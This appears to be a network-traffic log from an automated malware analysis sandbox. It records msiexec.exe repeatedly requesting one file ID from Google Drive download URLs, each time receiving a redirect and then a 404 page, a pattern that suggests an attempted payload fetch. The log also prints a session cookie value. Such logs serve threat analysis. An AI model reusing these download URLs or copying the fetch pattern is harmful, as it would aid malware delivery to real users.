2025-02-19 19:38:12 UTC	119	IN	Data Raw: 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: <ins>Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
56	192.168.2.11	50033	142.250.185.78	443	1300	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
2025-02-19 19:38:12 UTC	421	OUT	GET /uc?export=download&id=14A4dQdtnAx02svj7Lu7f3tLwtoZ52sqM HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0 Host: drive.google.com Cache-Control: no-cache Cookie: NID=521=dq0k_BTwMehDN-7CHadZFslS-IMfvkEDkec6BFnPH7RSZFddBxPzF7QO7gnWoW_2bijykrN6C51UZ-vcFjsUxN4A8BivloIywR0ySysOtfWKLoyzLRmF3wklqfkwipOuvZ0UJx7r1gMj2EXxZsXI9cZX5isFEtNCKb2k_BwVz_R0F9fTX4w_slLK_fc
2025-02-19 19:38:13 UTC	1610	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Wed, 19 Feb 2025 19:38:13 GMT Location: https://drive.usercontent.google.com/download?id=14A4dQdtnAx02svj7Lu7f3tLwtoZ52sqM&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: script-src 'nonce-Cyxt31ejf01meCb4qyVxEw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
57	192.168.2.11	50034	172.217.16.129	443	1300	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
2025-02-19 19:38:13 UTC	463	OUT	GET /download?id=14A4dQdtnAx02svj7Lu7f3tLwtoZ52sqM&export=download HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0 Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=521=dq0k_BTwMehDN-7CHadZFslS-IMfvkEDkec6BFnPH7RSZFddBxPzF7QO7gnWoW_2bijykrN6C51UZ-vcFjsUxN4A8BivloIywR0ySysOtfWKLoyzLRmF3wklqfkwipOuvZ0UJx7r1gMj2EXxZsXI9cZX5isFEtNCKb2k_BwVz_R0F9fTX4w_slLK_fc
2025-02-19 19:38:14 UTC	1534	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AHMx-iHZeYC5Ccicpt6x17WMZo8-_kNqCT6HZ9vZYFkH-SRADpm3MmJ0ANb3VmZO__ZFdMpN Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Wed, 19 Feb 2025 19:38:14 GMT Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'nonce-420oXq8yg0d-T6saq42tzA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-02-19 19:38:14 UTC	1534	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 6e 67 46 64 53 79 72 69 33 75 5f 36 47 4b 41 36 6a 75 33 55 68 77 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="ngFdSyri3u_6GKA6ju3Uhw">*{margin:0;padding:0}html,code{font:15px/22px arial
2025-02-19 19:38:14 UTC	118	IN	Data Raw: 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: ins>Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
58	192.168.2.11	50035	142.250.185.78	443	1300	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
2025-02-19 19:38:15 UTC	421	OUT	GET /uc?export=download&id=14A4dQdtnAx02svj7Lu7f3tLwtoZ52sqM HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0 Host: drive.google.com Cache-Control: no-cache Cookie: NID=521=dq0k_BTwMehDN-7CHadZFslS-IMfvkEDkec6BFnPH7RSZFddBxPzF7QO7gnWoW_2bijykrN6C51UZ-vcFjsUxN4A8BivloIywR0ySysOtfWKLoyzLRmF3wklqfkwipOuvZ0UJx7r1gMj2EXxZsXI9cZX5isFEtNCKb2k_BwVz_R0F9fTX4w_slLK_fc
2025-02-19 19:38:15 UTC	1610	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Wed, 19 Feb 2025 19:38:15 GMT Location: https://drive.usercontent.google.com/download?id=14A4dQdtnAx02svj7Lu7f3tLwtoZ52sqM&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: script-src 'nonce-HcB5ilW5LFDS451HHD-szw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
59	192.168.2.11	50036	172.217.16.129	443	1300	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
2025-02-19 19:38:16 UTC	463	OUT	GET /download?id=14A4dQdtnAx02svj7Lu7f3tLwtoZ52sqM&export=download HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0 Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=521=dq0k_BTwMehDN-7CHadZFslS-IMfvkEDkec6BFnPH7RSZFddBxPzF7QO7gnWoW_2bijykrN6C51UZ-vcFjsUxN4A8BivloIywR0ySysOtfWKLoyzLRmF3wklqfkwipOuvZ0UJx7r1gMj2EXxZsXI9cZX5isFEtNCKb2k_BwVz_R0F9fTX4w_slLK_fc
2025-02-19 19:38:16 UTC	1534	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AHMx-iGUgrEfYgxkn32-GcVqkLFcKwScwt5NokYzD0qoV1nc-K92AtTk2Z47nodff2F2xWEH Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Wed, 19 Feb 2025 19:38:16 GMT Content-Security-Policy: script-src 'nonce-7TPbqz3RYaaxRIhfjG9Zew' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-02-19 19:38:16 UTC	1534	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 58 38 39 59 6b 77 4a 73 32 72 37 78 66 7a 39 58 34 48 62 44 36 41 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="X89YkwJs2r7xfz9X4HbD6A">*{margin:0;padding:0}html,code{font:15px/22px arial
2025-02-19 19:38:16 UTC	118	IN	Data Raw: 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: ins>Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
60	192.168.2.11	50037	142.250.185.78	443	1300	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
2025-02-19 19:38:17 UTC	421	OUT	GET /uc?export=download&id=14A4dQdtnAx02svj7Lu7f3tLwtoZ52sqM HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0 Host: drive.google.com Cache-Control: no-cache Cookie: NID=521=dq0k_BTwMehDN-7CHadZFslS-IMfvkEDkec6BFnPH7RSZFddBxPzF7QO7gnWoW_2bijykrN6C51UZ-vcFjsUxN4A8BivloIywR0ySysOtfWKLoyzLRmF3wklqfkwipOuvZ0UJx7r1gMj2EXxZsXI9cZX5isFEtNCKb2k_BwVz_R0F9fTX4w_slLK_fc
2025-02-19 19:38:17 UTC	1610	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Wed, 19 Feb 2025 19:38:17 GMT Location: https://drive.usercontent.google.com/download?id=14A4dQdtnAx02svj7Lu7f3tLwtoZ52sqM&export=download Strict-Transport-Security: max-age=31536000 Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'nonce-KH7rN2cfx5CcPDb7f2zZ4A' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Cross-Origin-Opener-Policy: same-origin Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
61	192.168.2.11	50038	172.217.16.129	443	1300	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
2025-02-19 19:38:18 UTC	463	OUT	GET /download?id=14A4dQdtnAx02svj7Lu7f3tLwtoZ52sqM&export=download HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0 Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=521=dq0k_BTwMehDN-7CHadZFslS-IMfvkEDkec6BFnPH7RSZFddBxPzF7QO7gnWoW_2bijykrN6C51UZ-vcFjsUxN4A8BivloIywR0ySysOtfWKLoyzLRmF3wklqfkwipOuvZ0UJx7r1gMj2EXxZsXI9cZX5isFEtNCKb2k_BwVz_R0F9fTX4w_slLK_fc
2025-02-19 19:38:19 UTC	1534	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AHMx-iHLNCEFWBUcQSIb815gxCFL4A8JrKj27nRfAkwfrhebsjtShulP7ThxiBLOo4L-aL9i Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Wed, 19 Feb 2025 19:38:18 GMT Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'nonce-yC_w2dxPmvTCKdhYKjM9qw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-02-19 19:38:19 UTC	1534	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 70 69 4b 70 66 73 50 4e 4f 63 31 58 33 6e 41 62 61 34 30 6b 41 51 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="piKpfsPNOc1X3nAba40kAQ">*{margin:0;padding:0}html,code{font:15px/22px arial
2025-02-19 19:38:19 UTC	118	IN	Data Raw: 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: ins>Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
62	192.168.2.11	50039	142.250.185.78	443	1300	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
2025-02-19 19:38:19 UTC	421	OUT	GET /uc?export=download&id=14A4dQdtnAx02svj7Lu7f3tLwtoZ52sqM HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0 Host: drive.google.com Cache-Control: no-cache Cookie: NID=521=dq0k_BTwMehDN-7CHadZFslS-IMfvkEDkec6BFnPH7RSZFddBxPzF7QO7gnWoW_2bijykrN6C51UZ-vcFjsUxN4A8BivloIywR0ySysOtfWKLoyzLRmF3wklqfkwipOuvZ0UJx7r1gMj2EXxZsXI9cZX5isFEtNCKb2k_BwVz_R0F9fTX4w_slLK_fc
2025-02-19 19:38:20 UTC	1610	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Wed, 19 Feb 2025 19:38:20 GMT Location: https://drive.usercontent.google.com/download?id=14A4dQdtnAx02svj7Lu7f3tLwtoZ52sqM&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'nonce-e6Gajd1nFOPDBfyI9E0acA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
63	192.168.2.11	50040	172.217.16.129	443	1300	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
2025-02-19 19:38:20 UTC	463	OUT	GET /download?id=14A4dQdtnAx02svj7Lu7f3tLwtoZ52sqM&export=download HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0 Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=521=dq0k_BTwMehDN-7CHadZFslS-IMfvkEDkec6BFnPH7RSZFddBxPzF7QO7gnWoW_2bijykrN6C51UZ-vcFjsUxN4A8BivloIywR0ySysOtfWKLoyzLRmF3wklqfkwipOuvZ0UJx7r1gMj2EXxZsXI9cZX5isFEtNCKb2k_BwVz_R0F9fTX4w_slLK_fc
2025-02-19 19:38:21 UTC	1541	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AHMx-iGs-05LZY5DNvQtPU8HVU8mIogSpPYuOUhEiOu6lXWC-ZRuzxH12zJIPp8h19WltziaBgAqYik Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Wed, 19 Feb 2025 19:38:21 GMT Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: script-src 'nonce--d_DvQPZFo84WR88hxqVQw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-02-19 19:38:21 UTC	1541	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 56 54 4c 6c 78 6e 36 77 4c 4c 37 58 41 45 63 62 7a 69 49 41 5a 67 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="VTLlxn6wLL7XAEcbziIAZg">*{margin:0;padding:0}html,code{font:15px/22px arial
